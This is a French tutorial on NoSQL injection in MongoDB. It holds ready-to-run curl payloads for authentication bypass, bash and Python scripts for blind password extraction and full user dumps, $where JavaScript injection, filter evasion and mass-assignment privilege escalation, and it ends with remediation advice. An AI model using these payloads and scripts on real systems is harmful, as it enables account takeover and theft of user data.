Injection NoSQL : contourner l'authentification et extraire des données MongoDB
Contrairement à l’injection SQL qui manipule du texte, l’injection NoSQL exploite la structure JSON des requêtes MongoDB. Les opérateurs comme $ne, $gt, $regex ou $where sont interprétés directement par le moteur de requête si l’application passe le corps de la requête sans filtrage à l’ORM.
Les opérateurs MongoDB exploitables
Section titled “Les opérateurs MongoDB exploitables”| Opérateur | Signification | Usage offensif |
|---|---|---|
$ne | not equal | Contourner une vérification d’égalité |
$gt | greater than | Toujours vrai sur une chaîne non vide |
$lt | lower than | Énumération par plage |
$regex | expression régulière | Extraction caractère par caractère |
$in | dans une liste | Tester plusieurs valeurs simultanément |
$nin | not in | Exclure des valeurs connues |
$where | JavaScript arbitraire | Exécution de code côté serveur |
$exists | champ existant | Énumération de la structure du document |
Bypass d’authentification
Section titled “Bypass d’authentification”Via $ne sur le mot de passe
Section titled “Via $ne sur le mot de passe”# Connexion avec un email connu, mot de passe quelconque → toujours vraicurl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"email": "utilisateur@exemple.fr", "password": {"$ne": "mauvais_mdp"}}' | jqLa requête MongoDB côté serveur devient :
db.users.findOne({ email: "utilisateur@exemple.fr", password: { $ne: "mauvais_mdp" } })Tout utilisateur avec un mot de passe différent de "mauvais_mdp" — soit la totalité — est retourné.
Via $gt sur les deux champs
Section titled “Via $gt sur les deux champs”# Bypass complet sans connaître email ni mot de passecurl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"email": {"$gt": ""}, "password": {"$gt": ""}}' | jq
# Variante avec $ne nullcurl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"email": {"$ne": null}, "password": {"$ne": null}}' | jqFormat URL-encodé (formulaires HTML)
Section titled “Format URL-encodé (formulaires HTML)”Certaines applications acceptent les paramètres MongoDB dans des formulaires classiques :
username[$ne]=toto&password[$ne]=totologin[$gt]=&password[$ne]=xlogin[$regex]=a.*&pass[$ne]=xlogin[$nin][]=admin&login[$nin][]=root&pass[$ne]=xÉnumération des identifiants par plage
Section titled “Énumération des identifiants par plage”MongoDB stocke les documents avec des _id de type ObjectId — des identifiants BSON de 24 caractères hexadécimaux, ordonnés chronologiquement. Les opérateurs $gt et $lt permettent de paginer l’ensemble des utilisateurs.
Récupérer le premier utilisateur
Section titled “Récupérer le premier utilisateur”curl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"_id": {"$gt": "000000000000000000000000"}, "password": {"$ne": null}}' | jqPaginer pour extraire tous les _id
Section titled “Paginer pour extraire tous les _id”#!/bin/bashLAST_ID="000000000000000000000000"OUTPUT="ids.csv"
while true; do RESPONSE=$(curl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d "{\"_id\": {\"\$gt\": \"$LAST_ID\"}, \"password\": {\"\$ne\": null}}")
ID=$(echo "$RESPONSE" | grep -oE '[0-9a-f]{24}' | head -1)
if [[ -z "$ID" || "$ID" == "$LAST_ID" ]]; then echo "Fin de l'énumération." break fi
echo "$ID" >> "$OUTPUT" echo "Trouvé : $ID" LAST_ID="$ID"doneCombiner $gt et $lt pour cibler une plage
Section titled “Combiner $gt et $lt pour cibler une plage”# Récupérer les comptes créés entre deux ObjectId (donc entre deux dates)curl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"_id": {"$gt": "5c000000000000000000000", "$lt": "5d000000000000000000000"}, "password": {"$ne": null}}' | jqLes 4 premiers octets d’un ObjectId encodent un timestamp Unix. Deux ObjectId suffisent à délimiter une fenêtre temporelle.
Extraction de données par $regex
Section titled “Extraction de données par $regex”$regex permet de tester si un champ correspond à un motif. En testant caractère par caractère depuis le début de la chaîne (^), on extrait la valeur complète.
Tester la longueur d’un champ
Section titled “Tester la longueur d’un champ”# Le champ password fait-il 8 caractères ?curl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"email": {"$eq": "utilisateur@exemple.fr"}, "password": {"$regex": "^.{8}$"}}' | jqExtraire le mot de passe caractère par caractère
Section titled “Extraire le mot de passe caractère par caractère”for c in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9; do CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d "{\"email\": {\"$eq\": \"utilisateur@exemple.fr\"}, \"password\": {\"\$regex\": \"^$c\"}}")
if [[ "$CODE" == "200" ]]; then echo "Premier caractère trouvé : $c" fidoneScript d’extraction blind complet (Python)
Section titled “Script d’extraction blind complet (Python)”import requestsimport string
USERNAME = "utilisateur@exemple.fr"URL = "https://api.exemple.fr/user/signin"HEADERS = {"Content-Type": "application/json"}
password = ""
while True: found = False for c in string.printable: if c in ['*', '+', '.', '?', '|', '\\']: continue
payload = { "email": {"$eq": USERNAME}, "password": {"$regex": f"^{password}{c}"} } r = requests.post(URL, json=payload, headers=HEADERS)
if r.status_code == 200 and "token" in r.text: password += c print(f"[+] Caractère trouvé : {c} → mot de passe en cours : {password}") found = True break
if not found: print(f"[*] Mot de passe complet : {password}") breakOpérateur $in : tester des valeurs connues
Section titled “Opérateur $in : tester des valeurs connues”# Tester si l'un de ces emails existe et a un mot de passe non nulcurl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"email": {"$in": ["admin@exemple.fr", "root@exemple.fr", "superuser@exemple.fr"]}, "password": {"$ne": null}}' | jqInjection $where (JavaScript côté serveur)
Section titled “Injection $where (JavaScript côté serveur)”$where permet d’exécuter du JavaScript arbitraire dans le contexte du document évalué. Désactivé par défaut dans les versions récentes de MongoDB, il reste actif sur des configurations héritées.
# Toujours vraicurl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"$where": "1 == 1", "password": {"$ne": null}}' | jq
# Injection temporelle pour confirmer l'exécution (blind)curl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"$where": "sleep(5000) || true", "password": {"$ne": null}}' | jqUn délai de 5 secondes confirme l’exécution de JavaScript côté serveur.
Contournement de filtres
Section titled “Contournement de filtres”Clé dupliquée dans le JSON
Section titled “Clé dupliquée dans le JSON”MongoDB ne conserve que la dernière occurrence d’une clé dupliquée. Si le filtre de l’application supprime $ne mais que le JSON contient deux fois la clé :
{"password": "filtre_supprime_ceci", "password": {"$ne": null}}L’application voit la première valeur (filtrée), MongoDB lit la seconde.
Encodage pour bypasser la détection
Section titled “Encodage pour bypasser la détection”# Encodé en URLusername[$ne]=x&password[$ne]=x
# Avec caractères Unicode{"email": {"$ne": null}}Dump complet via script shell
Section titled “Dump complet via script shell”#!/bin/bash# Extraction de tous les utilisateurs accessibles via l'endpoint signin
API="https://api.exemple.fr/user/signin"OUTPUT="dump.csv"LAST_ID="000000000000000000000000"
echo "id,email,firstName,lastName" > "$OUTPUT"
while true; do RESPONSE=$(curl -s -X POST "$API" \ -H "Content-Type: application/json" \ -d "{\"_id\": {\"\$gt\": \"$LAST_ID\"}, \"password\": {\"\$ne\": null}}")
ID=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('_id',''))" 2>/dev/null) EMAIL=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('email',''))" 2>/dev/null) FNAME=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('firstName',''))" 2>/dev/null) LNAME=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('lastName',''))" 2>/dev/null)
if [[ -z "$ID" || "$ID" == "$LAST_ID" ]]; then echo "Terminé. $(wc -l < $OUTPUT) entrées extraites." break fi
echo "$ID,$EMAIL,$FNAME,$LNAME" >> "$OUTPUT" echo "[+] $EMAIL" LAST_ID="$ID"doneÉlévation de droits via mass assignment sur l’endpoint de mise à jour
Section titled “Élévation de droits via mass assignment sur l’endpoint de mise à jour”Quand l’API expose un endpoint de mise à jour de profil qui passe directement le corps JSON à l’ORM, il est possible d’écraser des champs privilégiés :
# Passer super:true et profile:admin dans la mise à jourcurl -s -X POST "https://api.exemple.fr/user/update" \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{ "firstName": "Nom", "email": "utilisateur@exemple.fr", "profile": "admin", "super": true }' | jqCombiner avec le bypass NoSQL pour obtenir un token valide, puis exploiter l’endpoint d’update pour élever les droits.
Remédiation
Section titled “Remédiation”Valider et typer les entrées
Section titled “Valider et typer les entrées”// Mongoose — refuser les objets là où une chaîne est attendueconst loginSchema = new mongoose.Schema({ email: { type: String, required: true }, password: { type: String, required: true }});
// Valider avant d'interroger la baseif (typeof req.body.email !== 'string' || typeof req.body.password !== 'string') { return res.status(400).json({ error: 'Format invalide' });}Utiliser des requêtes paramétrées
Section titled “Utiliser des requêtes paramétrées”// Vulnérable — l'objet utilisateur transit directement dans la requêteconst user = await User.findOne({ email: req.body.email, password: req.body.password });
// Correct — extraction explicite et vérification du typeconst { email, password } = req.body;if (typeof email !== 'string' || typeof password !== 'string') { throw new Error('Type invalide');}const user = await User.findOne({ email }).select('+password');const valid = await bcrypt.compare(password, user.password);Désactiver $where dans MongoDB
Section titled “Désactiver $where dans MongoDB”Dans mongod.conf :
security: javascriptEnabled: false$where et mapReduce ne sont plus exécutables — la surface d’attaque JavaScript côté serveur disparaît.
Limiter le taux de requêtes sur les endpoints d’authentification
Section titled “Limiter le taux de requêtes sur les endpoints d’authentification”Un dump par énumération d’ObjectId envoie des centaines de requêtes. Un rate limiting strict détecte et bloque ce pattern :
// Express — rate limiting sur /user/signinconst rateLimit = require('express-rate-limit');
app.use('/user/signin', rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes max: 20, message: { error: 'Trop de tentatives' }}));À retenir
Section titled “À retenir”L’injection NoSQL ne manipule pas du texte mais de la structure. Un corps JSON passé directement à findOne() ou find() sans vérification de type transforme n’importe quel champ en opérateur de requête. La défense repose sur deux points : vérifier que les valeurs reçues ont le type attendu (string, number — pas object), et ne jamais stocker de mots de passe en clair pour que $regex sur ce champ ne retourne rien d’exploitable.